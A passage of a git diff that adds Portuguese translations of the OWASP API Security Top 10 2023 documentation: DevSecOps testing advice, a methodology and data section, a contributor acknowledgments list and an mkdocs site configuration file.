desenvolvimento com automação de segurança e sem influenciar +negativamente o ritmo do desenvolvimento. + +Em caso de dúvida mantenha-se informado e reveja o [Manifesto DevSecOps][1]. + +| | | +|-|-| +| **Compreenda o Modelo de Ameaças** | As prioridades relativamente ao que deve ser testado têm origem no modelo de ameaças. Se não tem um, considere usar o [OWASP Application Security Verification Standard (ASVS)][2] e o [OWASP Testing Guide][3] como base. Envolver a equipa de desenvolvimento na elaboração do modelo de ameaças pode torná-la mais consciente para questões relacionadas com segurança. | +| **Compreenda o Ciclo de Vida do Desenvolvimento do Software** | Reúna a equipa de desenvolvimento para melhor compreender o ciclo de vida do desenvolvimento do software. O seu contributo para a realização continua de testes de segurança deve ser compatível com as pessoas, processos e ferramentas. Todos devem concordar com o processo, de forma a não provocar atrito ou resistência desnecessários. | +| **Estratégias de Teste** | Sendo que o seu trabalho não deve condicionar o ritmo de desenvolvimento, deverá escolher cuidadosamente a melhor (mais simples, rápida e precisa) técnica para verificar os requisitos de segurança. A [OWASP Security Knowledge Framework][4] e o [OWASP Application Security Verification Standard][2] podem ser importantes fontes de requisitos de segurança funcionais e não-funcionais. Existem outras fontes relevantes onde poderá encontrar [projetos][5] e [ferramentas][6] como aquelas disponibilizadas pela [comunidade DevSecOps][7]. | +| **Procure Alcançar Cobertura e Precisão** | Você é a ponte entre as equipas de desenvolvimento e operações. Para alcançar cobertura, deve não só focar-se na funcionalidade, mas também na orquestração. Trabalhe junto de ambas as equipas desde o início por forma a otimizar o seu tempo e esforço. Deve almejar um estado em que o essencial da segurança é verificado de forma continua. | +| **Comunique as Falhas de Forma Clara** | Entregue valor evitando qualquer atrito. Comunique as falhas identificadas atempadamente, usando as ferramentas que a equipa de desenvolvimento já utiliza (e não através de ficheiros PDF). Junte-se à equipa de desenvolvimento para resolver as falhas identificadas. Aproveite a oportunidade para educar os elementos da equipa de desenvolvimento, descrevendo de forma clara a falha e como esta pode ser abusada, incluindo um cenário de ataque para a tornar mais real. | + +[1]: https://www.devsecops.org/ +[2]: https://owasp.org/www-project-application-security-verification-standard/ +[3]: https://owasp.org/www-project-web-security-testing-guide/ +[4]: https://owasp.org/www-project-security-knowledge-framework/ +[5]: http://devsecops.github.io/ +[6]: https://github.com/devsecops/awesome-devsecops +[7]: http://devsecops.org diff --git a/editions/2023/pt-pt/0xd0-about-data.md b/editions/2023/pt-pt/0xd0-about-data.md new file mode 100644 index 000000000..90919b3a8 --- /dev/null +++ b/editions/2023/pt-pt/0xd0-about-data.md @@ -0,0 +1,75 @@ +# Metodologia e Dados + +## Preâmbulo + +Para esta atualização da lista, a equipa de Segurança de API da OWASP utilizou a +mesma metodologia adotada com sucesso para a lista de 2019, com a adição de um +[Pedido Público por Dados][1] de 3 meses. Infelizmente, este pedido não resultou +em dados que permitissem uma análise estatística relevante sobre os problemas de +segurança de API mais comuns. + +Contudo, com uma indústria de segurança de API mais madura e capaz de fornecer +feedback e informações diretamente, o processo de atualização avançou usando a +mesma metodologia de antes. + +Chegados a este ponto, acreditamos ter um bom documento de consciencialização +para os próximos três ou quatro anos, mais focado nas questões específicas das +APIs modernas. O objetivo deste projeto não é substituir outras listas de top +10, mas sim cobrir os principais riscos de segurança de API atuais e emergentes, +sobre os quais acreditamos que a indústria deve estar atenta e ser diligente. + +## Metodologia + +Na primeira fase, dados publicamente disponíveis sobre incidentes de segurança +em APIs foram recolhidos, revistos e categorizados. Esses dados foram obtidos de +plataformas de _bug bounty_ e relatórios públicos. Apenas problemas reportados +entre 2019 e 2022 foram considerados. Esses dados ajudaram a equipa a entender +em que direção a lista de top 10 anterior deveria evoluir, assim como a lidar +com possíveis vieses dos dados contribuídos. + +Um [Pedido Público por Dados][1] foi realizado de 1 de Setembro a 30 de Novembro +de 2022. Em paralelo, a equipa do projeto iniciou a discussão sobre o que mudou +desde 2019. A discussão incluiu o impacto da primeira lista, o feedback recebido +da comunidade e novas tendências na segurança de APIs. + +A equipa do projeto promoveu reuniões com especialistas sobre ameaças relevantes +à segurança de APIs para obter informações sobre como as vítimas são impactadas +e como essas ameaças podem ser mitigadas. + +Este esforço resultou num rascunho inicial do que a equipa acredita serem os dez +riscos mais críticos de segurança para APIs. A [Metodologia de Classificação de +Risco da OWASP][2] foi utilizada para realizar a análise de riscos. As +classificações de prevalência foram decididas por consenso entre os membros da +equipa do projeto, com base na sua experiência na área. Para considerações sobre +esses temas, consulte a secção [Riscos de Segurança em APIs][3]. + +O rascunho inicial foi então compartilhado para revisão com profissionais de +segurança com experiência relevante na área de segurança de APIs. Os seus +comentários foram analisados, discutidos e, quando aplicável, incluídos no +documento. O documento resultante foi [publicado como uma Versão Candidata][4] +para [discussão aberta][5]. Várias [contribuições da comunidade][6] foram +incorporadas no documento final. + +A lista de contribuidores está disponível na secção de [Agradecimentos][7]. + +## Riscos Específicos de APIs + +A lista foi elaborada para abordar riscos de segurança que são mais específicos +para APIs. + +Não implica que outros riscos genéricos de segurança de aplicações não existam +em aplicações baseadas em APIs. Por exemplo, não incluímos riscos como +"Componentes Vulneráveis e Desatualizados" ou "Injeção", embora você possa +encontrá-los em aplicações baseadas em APIs. Esses riscos são genéricos, não se +comportam de forma diferente em APIs, nem a sua exploração é diferente. + +O nosso objetivo é aumentar a conscientização sobre os riscos de segurança que +merecem atenção especial em APIs. + +[1]: https://owasp.org/www-project-api-security/announcements/cfd/2022/ +[2]: https://www.owasp.org/index.php/OWASP_Risk_Rating_Methodology +[3]: ./0x10-api-security-risks.md +[4]: https://owasp.org/www-project-api-security/announcements/2023/02/api-top10-2023rc +[5]: https://github.com/OWASP/API-Security/issues?q=is%3Aissue+label%3A2023RC +[6]: https://github.com/OWASP/API-Security/pulls?q=is%3Apr+label%3A2023RC +[7]: ./0xd1-acknowledgments.md diff --git a/editions/2023/pt-pt/0xd1-acknowledgments.md b/editions/2023/pt-pt/0xd1-acknowledgments.md new file mode 100644 index 000000000..3ca938307 --- /dev/null +++ b/editions/2023/pt-pt/0xd1-acknowledgments.md @@ -0,0 +1,13 @@ +# Agradecimentos + +## Agradecimento ao Contribuidores + +Gostaríamos de agradecer às pessoas abaixo, as quais contribuíram publicamente +no GitHub ou por outros meios: + +247arjun, abunuwas, Alissa Knight, Arik Atar, aymenfurter, Corey J. Ball, cyn8, +d0znpp, Dan Gordon, donge, Dor Tumarkin, faizzaidi, gavjl, guybensimhon, Inês +Martins, Isabelle Mauny, Ivan Novikov, jmanico, Juan Pablo, k7jto, LaurentCB, +llegaz, Maxim Zavodchik, MrPRogers, planetlevel, rahulk22, Roey Eliyahu, Roshan +Piyush, securitylevelup, sudeshgadewar123, Tatsuya-hasegawa, tebbers, vanderaj, +wenz, xplo1t-sec, Yaniv Balmas, ynvb diff --git a/editions/2023/pt-pt/images/cover.jpg b/editions/2023/pt-pt/images/cover.jpg new file mode 100644 index 000000000..db6e87f8d Binary files /dev/null and b/editions/2023/pt-pt/images/cover.jpg differ diff --git a/editions/2023/pt-pt/images/front-cc.png b/editions/2023/pt-pt/images/front-cc.png new file mode 100644 index 000000000..45f139804 Binary files /dev/null and b/editions/2023/pt-pt/images/front-cc.png differ diff --git a/editions/2023/pt-pt/images/front-wasp.png b/editions/2023/pt-pt/images/front-wasp.png new file mode 100644 index 000000000..5a163dd4b Binary files /dev/null and b/editions/2023/pt-pt/images/front-wasp.png differ diff --git a/editions/2023/pt-pt/images/license.png b/editions/2023/pt-pt/images/license.png new file mode 100644 index 000000000..124d3ba4d Binary files /dev/null and b/editions/2023/pt-pt/images/license.png differ diff --git a/editions/2023/pt-pt/images/owasp-logo.png b/editions/2023/pt-pt/images/owasp-logo.png new file mode 100644 index 000000000..b0af38b27 Binary files /dev/null and b/editions/2023/pt-pt/images/owasp-logo.png differ diff --git a/mkdocs.yml b/mkdocs.yml new file mode 100644 index 000000000..b2c6f76bb --- /dev/null +++ b/mkdocs.yml @@ -0,0 +1,41 @@ +site_name: OWASP API Security Top 10 +site_description: The Ten Most Critical API Security Risks +site_author: OWASP API Security Project team +site_url: https://owasp.org/API-Security/ + +copyright: '© Copyright 2023 - OWASP API Security Project team' + +repo_name: 'OWASP/API-Security' +repo_url: 'https://github.com/OWASP/API-Security' + +theme: + name: material + custom_dir: docs/overrides + language: en + favicon: assets/images/favicon.png + logo: assets/images/icon.png + features: + - navigation.tabs + - navigation.indexes + - navigation.footer + - search.suggest + +extra: + social: + - icon: fontawesome/brands/twitter + link: https://twitter.com/APItop10 + +extra_css: + - assets/stylesheets/extra.css + +plugins: + - monorepo + - search: + lang: en + +nav: + - Home: + - 'README.md' + - 'How-to Contribute': ./CONTRIBUTING.md + - 2023: '!include ./editions/2023/mkdocs.yml' + - 2019: '!include ./editions/2019/mkdocs.yml'